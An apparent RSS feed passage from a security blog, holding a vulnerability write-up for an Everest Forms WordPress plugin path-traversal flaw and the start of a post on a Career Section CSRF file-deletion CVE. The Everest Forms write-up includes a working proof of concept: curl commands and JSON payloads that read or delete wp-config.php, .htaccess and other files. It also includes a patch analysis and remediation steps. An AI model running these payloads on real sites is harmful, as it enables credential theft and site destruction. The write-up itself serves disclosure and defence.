&lt;p&gt;The plugin decodes each JSON string from &lt;code&gt;old_files&lt;/code&gt; and merges the resulting array directly into &lt;code&gt;$data&lt;/code&gt;. No checks are performed on &lt;code&gt;$decoded[&apos;value&apos;]&lt;/code&gt; — an attacker-supplied URL like &lt;code&gt;https://victim.com/wp-content/../wp-config.php&lt;/code&gt; is accepted without modification.&lt;/p&gt;
&lt;h4&gt;Step 3 — Path traversal in &lt;code&gt;attach_entry_files_upload()&lt;/code&gt; for file read&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;includes/abstracts/class-evf-form-fields-upload.php&lt;/code&gt; (lines 1660–1669)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;} elseif ( isset( $meta_value[&apos;type&apos;] ) &amp;amp;&amp;amp; ( &apos;file-upload&apos; === $meta_value[&apos;type&apos;] &amp;amp;&amp;amp; isset( $meta_value[&apos;value_raw&apos;] ) || &apos;image-upload&apos; === $meta_value[&apos;type&apos;] &amp;amp;&amp;amp; isset( $meta_value[&apos;value_raw&apos;] ) ) ) {
    foreach ( $meta_value[&apos;value_raw&apos;] as $file_data ) {
        if ( isset( $file_data[&apos;value&apos;] ) ) {
            $file_url      = $file_data[&apos;value&apos;];
            $uploaded_file = ABSPATH . preg_replace( &apos;/.*wp-content/&apos;, &apos;wp-content&apos;, wp_parse_url( $file_url, PHP_URL_PATH ) );

            if ( ! in_array( $uploaded_file, $entry_files ) &amp;amp;&amp;amp; file_exists( $uploaded_file ) ) {
                $entry_files[] = $uploaded_file;
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For an injected URL of &lt;code&gt;https://victim.com/wp-content/../wp-config.php&lt;/code&gt;, the path resolution works like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;wp_parse_url($file_url, PHP_URL_PATH)&lt;/code&gt; → &lt;code&gt;/wp-content/../wp-config.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;preg_replace(&apos;/.*wp-content/&apos;, &apos;wp-content&apos;, ...)&lt;/code&gt; → &lt;code&gt;wp-content/../wp-config.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ABSPATH . &apos;wp-content/../wp-config.php&apos;&lt;/code&gt; → &lt;code&gt;/var/www/html/wp-content/../wp-config.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The OS resolves &lt;code&gt;..&lt;/code&gt; during &lt;code&gt;file_exists()&lt;/code&gt;, finding &lt;code&gt;/var/www/html/wp-config.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The file is added to &lt;code&gt;$entry_files&lt;/code&gt; and attached to the notification email&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Step 4 — File deletion via &lt;code&gt;unlink()&lt;/code&gt; in &lt;code&gt;remove_csv_file_after_email_send()&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;includes/abstracts/class-evf-form-fields-upload.php&lt;/code&gt; (lines 1574–1583)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ( isset( $meta_value[&apos;type&apos;] ) &amp;amp;&amp;amp; ( &apos;file-upload&apos; === $meta_value[&apos;type&apos;] &amp;amp;&amp;amp; isset( $meta_value[&apos;value_raw&apos;] ) || &apos;image-upload&apos; === $meta_value[&apos;type&apos;] &amp;amp;&amp;amp; isset( $meta_value[&apos;value_raw&apos;] ) ) ) {
    foreach ( $meta_value[&apos;value_raw&apos;] as $file_data ) {
        if ( isset( $file_data[&apos;value&apos;] ) ) {
            $file_url = $file_data[&apos;value&apos;];

            $uploaded_file = ABSPATH . preg_replace( &apos;/.*wp-content/&apos;, &apos;wp-content&apos;, wp_parse_url( $file_url, PHP_URL_PATH ) );
            if ( file_exists( $uploaded_file ) ) {
                unlink( $uploaded_file );
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The identical path resolution runs in the post-email cleanup routine. After the notification email is delivered with &lt;code&gt;wp-config.php&lt;/code&gt; as an attachment, &lt;code&gt;unlink()&lt;/code&gt; is called on the traversal-resolved path, permanently deleting the file.&lt;/p&gt;
&lt;h4&gt;Hook registrations connecting the above&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;includes/abstracts/class-evf-form-fields-upload.php&lt;/code&gt; (lines 41–43)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_filter( &apos;everest_forms_email_file_attachments&apos;, array( $this, &apos;send_file_as_email_attachment&apos; ), 99, 6 );
add_action( &apos;everest_forms_remove_attachments_after_send_email&apos;, array( $this, &apos;remove_csv_file_after_email_send&apos; ), 10, 6 );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;send_file_as_email_attachment&lt;/code&gt; calls &lt;code&gt;attach_entry_files_upload()&lt;/code&gt; (the file read step) when &lt;code&gt;disabled_entries = 1&lt;/code&gt;. &lt;code&gt;remove_csv_file_after_email_send&lt;/code&gt; (the deletion step) fires immediately after the email is sent.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The root cause is &lt;strong&gt;trusting attacker-supplied file references without boundary enforcement&lt;/strong&gt;. The &lt;code&gt;old_files&lt;/code&gt; POST parameter is designed to carry references to previously-uploaded files during a multi-step &quot;Save and Continue&quot; session. The plugin decodes these references and uses them as the real filesystem paths with no validation that the resolved path stays within the WordPress uploads directory. The regex &lt;code&gt;preg_replace(&apos;/.*wp-content/&apos;, &apos;wp-content&apos;, ...)&lt;/code&gt; strips the URL origin but keeps &lt;code&gt;..&lt;/code&gt; path segments intact. The OS then resolves those segments when &lt;code&gt;file_exists()&lt;/code&gt; and &lt;code&gt;unlink()&lt;/code&gt; run.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Nonce check&lt;/strong&gt; (&lt;code&gt;wp_verify_nonce&lt;/code&gt;): The nonce (&lt;code&gt;_wpnonce{form_id}&lt;/code&gt;) is embedded in the public form&apos;s HTML. Any visitor can retrieve it, so it protects only against CSRF, not unauthenticated exploitation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;evf_sanitize_entry()&lt;/code&gt;&lt;/strong&gt;: For &lt;code&gt;file-upload&lt;/code&gt; and &lt;code&gt;image-upload&lt;/code&gt; fields, the sanitizer passes array values through as-is (&lt;code&gt;is_array($entry[&apos;form_fields&apos;][$key]) ? $entry[&apos;form_fields&apos;][$key] : ...&lt;/code&gt;). Even if &lt;code&gt;old_files&lt;/code&gt; were inside this data, it would not be sanitized.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;stripslashes_deep()&lt;/code&gt;&lt;/strong&gt; on POST: Strips backslashes only; does not validate URL structure or path contents.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;esc_url_raw()&lt;/code&gt;&lt;/strong&gt; (applied to some fields): Does not remove &lt;code&gt;..&lt;/code&gt; directory traversal segments from URL paths.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker with access to a public form can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Read arbitrary local files&lt;/strong&gt; — attach any file readable by the web server process to a notification email sent to the form owner, including &lt;code&gt;wp-config.php&lt;/code&gt; (database credentials, authentication keys and salts, table prefix).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delete arbitrary local files&lt;/strong&gt; — permanently &lt;code&gt;unlink()&lt;/code&gt; any file reachable by the web server, including &lt;code&gt;wp-config.php&lt;/code&gt;, &lt;code&gt;index.php&lt;/code&gt;, &lt;code&gt;.htaccess&lt;/code&gt;, or WordPress core files, leading to full site denial of service.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Chain into full site takeover&lt;/strong&gt; — extracted &lt;code&gt;wp-config.php&lt;/code&gt; credentials may be used for direct database access, authentication bypass, or privilege escalation.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;everest-forms&lt;/code&gt; plugin installed and activated (version &amp;lt;= 3.4.4)&lt;/li&gt;
&lt;li&gt;Everest Forms &lt;strong&gt;Save and Continue&lt;/strong&gt; addon installed and active&lt;/li&gt;
&lt;li&gt;A published form containing at least one &lt;strong&gt;File Upload&lt;/strong&gt; or &lt;strong&gt;Image Upload&lt;/strong&gt; field&lt;/li&gt;
&lt;li&gt;The form&apos;s &lt;strong&gt;&quot;Disable storing entry information&quot;&lt;/strong&gt; setting is enabled (&lt;code&gt;disabled_entries = 1&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The form has an email notification connection configured (for file read via attachment)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FORM_ID&lt;/code&gt; — the numeric ID of the target form (visible in the form&apos;s URL in wp-admin or in the form shortcode)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FIELD_ID&lt;/code&gt; — the ID of the file-upload field (visible in the field&apos;s &quot;Advanced&quot; tab in the form builder, e.g. &lt;code&gt;everest_forms_field_0&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SITE_URL&lt;/code&gt; — the target WordPress site URL&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Retrieve the form submission nonce&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Visit any page where the form is embedded and extract the nonce from the form HTML:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SITE_URL=&quot;https://victim.example.com&quot;
FORM_ID=1
FIELD_ID=&quot;everest_forms_field_0&quot;

# Fetch the page and extract the nonce (adjust the grep pattern to match your form ID)
curl -s &quot;$SITE_URL/contact/&quot; | grep -oP &quot;_wpnonce${FORM_ID}\s*value=\&quot;\K[^\&quot;]*&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the nonce value as &lt;code&gt;NONCE&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Craft the malicious &lt;code&gt;old_files&lt;/code&gt; payload&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The payload is a JSON-encoded file reference where &lt;code&gt;value&lt;/code&gt; contains a path-traversal URL pointing to &lt;code&gt;wp-config.php&lt;/code&gt;. The hostname in the URL must match the target site (the plugin does not validate the origin strictly — only the path is used):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Craft the JSON payload that will traverse from wp-content to wp-config.php
PAYLOAD=&apos;{&quot;value&quot;:&quot;https://victim.example.com/wp-content/../wp-config.php&quot;,&quot;name&quot;:&quot;wp-config.php&quot;,&quot;file_name_new&quot;:&quot;wp-config.php&quot;,&quot;file_url&quot;:&quot;https://victim.example.com/wp-content/../wp-config.php&quot;,&quot;type&quot;:&quot;file-upload&quot;}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Submit the form with the injected &lt;code&gt;old_files&lt;/code&gt; parameter&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SITE_URL=&quot;https://victim.example.com&quot;
FORM_ID=1
FIELD_ID=&quot;everest_forms_field_0&quot;
NONCE=&quot;&amp;lt;nonce from Step 1&amp;gt;&quot;

curl -s -X POST &quot;$SITE_URL/wp-admin/admin-ajax.php&quot; \
  -d &quot;action=everest_forms_submit&quot; \
  -d &quot;everest_forms[id]=$FORM_ID&quot; \
  -d &quot;_wpnonce${FORM_ID}=$NONCE&quot; \
  -d &quot;everest_forms[form_fields][${FIELD_ID}][]=&quot; \
  --data-urlencode &quot;everest_forms_${FORM_ID}_old_${FIELD_ID}[]=${PAYLOAD}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternatively, if the form submits to a page URL (non-AJAX):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &quot;$SITE_URL/contact/&quot; \
  -d &quot;everest_forms[id]=$FORM_ID&quot; \
  -d &quot;_wpnonce${FORM_ID}=$NONCE&quot; \
  -d &quot;everest_forms[form_fields][${FIELD_ID}][]=&quot; \
  --data-urlencode &quot;everest_forms_${FORM_ID}_old_${FIELD_ID}[]=${PAYLOAD}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 4: (File Deletion variant) — Trigger deletion without read&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If the form does NOT have notification email configured but &lt;code&gt;disabled_entries = 1&lt;/code&gt; is set, the deletion still fires via &lt;code&gt;remove_csv_file_after_email_send&lt;/code&gt;. Submitting the same payload will cause &lt;code&gt;unlink()&lt;/code&gt; to be called on the resolved path after any email attempt, deleting &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To target a different critical file, change the &lt;code&gt;value&lt;/code&gt; field. Examples:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Delete .htaccess
&apos;{&quot;value&quot;:&quot;https://victim.example.com/wp-content/../.htaccess&quot;,&quot;name&quot;:&quot;.htaccess&quot;,...}&apos;

# Read/delete a plugin&apos;s license key file
&apos;{&quot;value&quot;:&quot;https://victim.example.com/wp-content/../wp-content/plugins/some-plugin/license.key&quot;,&quot;name&quot;:&quot;license.key&quot;,...}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;File Read:&lt;/strong&gt; The form owner&apos;s notification email arrives with &lt;code&gt;wp-config.php&lt;/code&gt; as an attachment. The email body is the standard form submission notification; the attachment contains the full plaintext content of &lt;code&gt;wp-config.php&lt;/code&gt;, including &lt;code&gt;DB_NAME&lt;/code&gt;, &lt;code&gt;DB_USER&lt;/code&gt;, &lt;code&gt;DB_PASSWORD&lt;/code&gt;, &lt;code&gt;AUTH_KEY&lt;/code&gt;, &lt;code&gt;SECURE_AUTH_KEY&lt;/code&gt;, and all authentication salts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File Deletion:&lt;/strong&gt; &lt;code&gt;wp-config.php&lt;/code&gt; is permanently deleted from the server. WordPress will then present a fresh-install screen to all visitors (&lt;code&gt;wp-config.php&lt;/code&gt; missing causes WordPress to redirect to the installer), causing a full denial of service.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;For file read:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check the form owner&apos;s inbox for a notification email with an unexpected file attachment&lt;/li&gt;
&lt;li&gt;The attachment contains the &lt;code&gt;wp-config.php&lt;/code&gt; content&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For file deletion:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After submitting, attempt to load the WordPress site — if &lt;code&gt;wp-config.php&lt;/code&gt; was deleted, WordPress will show the setup wizard (&lt;code&gt;wp-admin/setup-config.php&lt;/code&gt; redirect)&lt;/li&gt;
&lt;li&gt;Alternatively: &lt;code&gt;ls -la /path/to/wordpress/wp-config.php&lt;/code&gt; — the file will be absent&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;The fix is concentrated in two files:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;includes/abstracts/class-evf-form-fields-upload.php&lt;/code&gt;&lt;/strong&gt; — core path-validation logic&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;includes/class-evf-form-task.php&lt;/code&gt;&lt;/strong&gt; — defense-in-depth: sanitize &lt;code&gt;$field_submit&lt;/code&gt; before populating from POST&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;New method: &lt;code&gt;resolve_uploads_file_from_url()&lt;/code&gt; (3.4.5, line 1759)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The patch introduces a dedicated validation method that enforces strict directory boundary checking:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protected function resolve_uploads_file_from_url( $file_url ) {
    if ( empty( $file_url ) || ! is_string( $file_url ) ) {
        return false;
    }

    $file_url        = esc_url_raw( $file_url );
    $upload_dir      = wp_get_upload_dir();
    $uploads_baseurl = trailingslashit( $upload_dir[&apos;baseurl&apos;] );
    $uploads_basedir = wp_normalize_path( trailingslashit( $upload_dir[&apos;basedir&apos;] ) );

    // Must start with the uploads base URL — rejects wp-config, .htaccess, etc.
    if ( 0 !== strpos( $file_url, $uploads_baseurl ) ) {
        return false;
    }

    $path      = wp_parse_url( $file_url, PHP_URL_PATH );
    $base_path = wp_parse_url( $uploads_baseurl, PHP_URL_PATH );

    if ( ! is_string( $path ) || ! is_string( $base_path ) || 0 !== strpos( $path, $base_path ) ) {
        return false;
    }

    $relative_path = ltrim( substr( $path, strlen( $base_path ) ), &apos;/&apos; );
    $candidate     = wp_normalize_path( $uploads_basedir . $relative_path );
    $resolved_path = realpath( $candidate );   // canonicalization — resolves ..

    if ( false === $resolved_path ) {
        return false;
    }

    $resolved_path = wp_normalize_path( $resolved_path );

    // After canonicalization, path must STILL be inside uploads dir
    if ( 0 !== strpos( $resolved_path, $uploads_basedir ) || ! is_file( $resolved_path ) ) {
        return false;
    }

    return $resolved_path;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The key defense is &lt;code&gt;realpath()&lt;/code&gt; followed by &lt;code&gt;strpos($resolved_path, $uploads_basedir)&lt;/code&gt;: after all &lt;code&gt;..&lt;/code&gt; segments are resolved, the canonical path must remain inside &lt;code&gt;uploads/&lt;/code&gt;. Any traversal attempt that escapes the uploads directory causes the method to return &lt;code&gt;false&lt;/code&gt;, and the caller skips the file.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;format()&lt;/code&gt; method — validated old_files merging (3.4.5, lines 1362–1386)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ( isset( $field_submit[&apos;old_files&apos;] ) &amp;amp;&amp;amp; is_array( $field_submit[&apos;old_files&apos;] ) ) {

    $validated_old_data = array();

    foreach ( $field_submit[&apos;old_files&apos;] as $file ) {
        $decoded = json_decode( $file, true );

        if ( ! is_array( $decoded ) || empty( $decoded[&apos;value&apos;] ) || ! is_string( $decoded[&apos;value&apos;] ) ) {
            continue;
        }

        $resolved_path = $this-&amp;gt;resolve_uploads_file_from_url( $decoded[&apos;value&apos;] );

        if ( false === $resolved_path ) {
            continue;    // reject traversal payloads
        }

        $decoded[&apos;value&apos;]     = esc_url_raw( $decoded[&apos;value&apos;] );
        $validated_old_data[] = $decoded;
    }

    if ( ! empty( $validated_old_data ) ) {
        $data = array_merge( $data, $validated_old_data );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;class-evf-form-task.php&lt;/code&gt; — defense-in-depth &lt;code&gt;unset&lt;/code&gt; (3.4.5)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ( in_array( $field_type, array( &apos;file-upload&apos;, &apos;image-upload&apos; ), true ) ) {
    if ( is_array( $field_submit ) ) {
        unset( $field_submit[&apos;old_files&apos;], $field_submit[&apos;new_files&apos;] );  // clear any injected values
    }

    if ( defined( &apos;EVF_SAVE_AND_CONTINUE_VERSION&apos; ) ) {
        // ... then re-populate from POST
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The patch unconditionally clears &lt;code&gt;old_files&lt;/code&gt; and &lt;code&gt;new_files&lt;/code&gt; from &lt;code&gt;$field_submit&lt;/code&gt;. It re-populates them only when the Save and Continue addon is active. This ensures no stale or injected values reach the &lt;code&gt;format()&lt;/code&gt; call.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Is the fix complete?&lt;/strong&gt; Yes. The combination of:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;realpath()&lt;/code&gt; canonicalization before directory boundary check&lt;/li&gt;
&lt;li&gt;Strict &lt;code&gt;strpos($resolved_path, $uploads_basedir)&lt;/code&gt; check post-canonicalization&lt;/li&gt;
&lt;li&gt;Proactive &lt;code&gt;unset()&lt;/code&gt; of &lt;code&gt;old_files&lt;/code&gt;/&lt;code&gt;new_files&lt;/code&gt; in the task handler&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;closes the traversal vector at every point in the execution chain. The &lt;code&gt;deleted_files&lt;/code&gt; processing in the task handler was also similarly hardened with &lt;code&gt;uploads_baseurl&lt;/code&gt; prefix checks.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;-		if ( isset( $field_submit[&apos;old_files&apos;] ) ) {
-
-			$old_data = array_map(
-				function ( $file ) {
-					$decoded = json_decode( $file, true );
-
-					return is_array( $decoded ) ? $decoded : array();
-				},
-				$field_submit[&apos;old_files&apos;]
-			);
-
-			$data = array_merge( $data, $old_data );
-		}
+		if ( isset( $field_submit[&apos;old_files&apos;] ) &amp;amp;&amp;amp; is_array( $field_submit[&apos;old_files&apos;] ) ) {
+
+			$validated_old_data = array();
+
+			foreach ( $field_submit[&apos;old_files&apos;] as $file ) {
+				$decoded = json_decode( $file, true );
+
+				if ( ! is_array( $decoded ) || empty( $decoded[&apos;value&apos;] ) || ! is_string( $decoded[&apos;value&apos;] ) ) {
+					continue;
+				}
+
+				$resolved_path = $this-&amp;gt;resolve_uploads_file_from_url( $decoded[&apos;value&apos;] );
+
+				if ( false === $resolved_path ) {
+					continue;
+				}
+
+				$decoded[&apos;value&apos;]     = esc_url_raw( $decoded[&apos;value&apos;] );
+				$validated_old_data[] = $decoded;
+			}
+
+			if ( ! empty( $validated_old_data ) ) {
+				$data = array_merge( $data, $validated_old_data );
+			}
+		}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;-    $uploaded_file = ABSPATH . preg_replace( &apos;/.*wp-content/&apos;, &apos;wp-content&apos;, wp_parse_url( $file_url, PHP_URL_PATH ) );
-    if ( ! in_array( $uploaded_file, $entry_files ) &amp;amp;&amp;amp; file_exists( $uploaded_file ) ) {
-        $entry_files[] = $uploaded_file;
+    $resolved = $this-&amp;gt;resolve_uploads_file_from_url( $file_url );
+    if ( false !== $resolved &amp;amp;&amp;amp; ! in_array( $resolved, $entry_files ) ) {
+        $entry_files[] = $resolved;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability discovered and reported by researcher &quot;ll&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 20, 2026&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 20, 2026&lt;/td&gt;
&lt;td&gt;Patched version 3.4.5 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;everest-forms&lt;/code&gt; plugin to version &lt;strong&gt;3.4.5&lt;/strong&gt; or later.&lt;/p&gt;
&lt;p&gt;If an immediate update is not possible:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Disable the Everest Forms Save and Continue addon&lt;/li&gt;
&lt;li&gt;Or disable the &lt;strong&gt;&quot;Disable storing entry information&quot;&lt;/strong&gt; setting on all forms that have file-upload or image-upload fields&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.4/includes/abstracts/class-evf-form-fields-upload.php#L1306&quot;&gt;https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.4/includes/abstracts/class-evf-form-fields-upload.php#L1306&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.4/includes/abstracts/class-evf-form-fields-upload.php#L1665&quot;&gt;https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.4/includes/abstracts/class-evf-form-fields-upload.php#L1665&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.4/includes/abstracts/class-evf-form-fields-upload.php#L1581&quot;&gt;https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.4/includes/abstracts/class-evf-form-fields-upload.php#L1581&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3507814/everest-forms&quot;&gt;https://plugins.trac.wordpress.org/changeset/3507814/everest-forms&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-20T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2025-14868: CSRF File Deletion in Career Section Plugin</title><link>https://hurayraiit.com/blog/cve-2025-14868-csrf-file-deletion-career-section/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2025-14868-csrf-file-deletion-career-section/</guid><description>CVE-2025-14868 (CVSS 8.8): CSRF in Career Section ≤1.6 lets unauthenticated attackers delete arbitrary server files via a forged admin request.</description><pubDate>Sun, 19 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2025-14868&lt;/strong&gt; is a &lt;strong&gt;CVSS 8.8 (High)&lt;/strong&gt; &lt;a href=&quot;https://owasp.org/www-community/attacks/csrf&quot;&gt;Cross-Site Request Forgery&lt;/a&gt; vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/career-section/&quot;&gt;Career Section&lt;/a&gt; WordPress plugin. All versions up to and including 1.6 are affected. An unauthenticated attacker can trick a logged-in administrator into submitting a forged request. The request deletes arbitrary files on the server — including &lt;code&gt;wp-config.php&lt;/code&gt; — taking the entire site offline with a single click.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Career Section&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;career-section&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-14868&quot;&gt;CVE-2025-14868&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.8 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cross-Site Request Forgery (CSRF) to Arbitrary File Deletion via Path Traversal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/career-section.1.6.zip&quot;&gt;&amp;lt;= 1.6&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/career-section.1.7.zip&quot;&gt;1.7&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 15, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
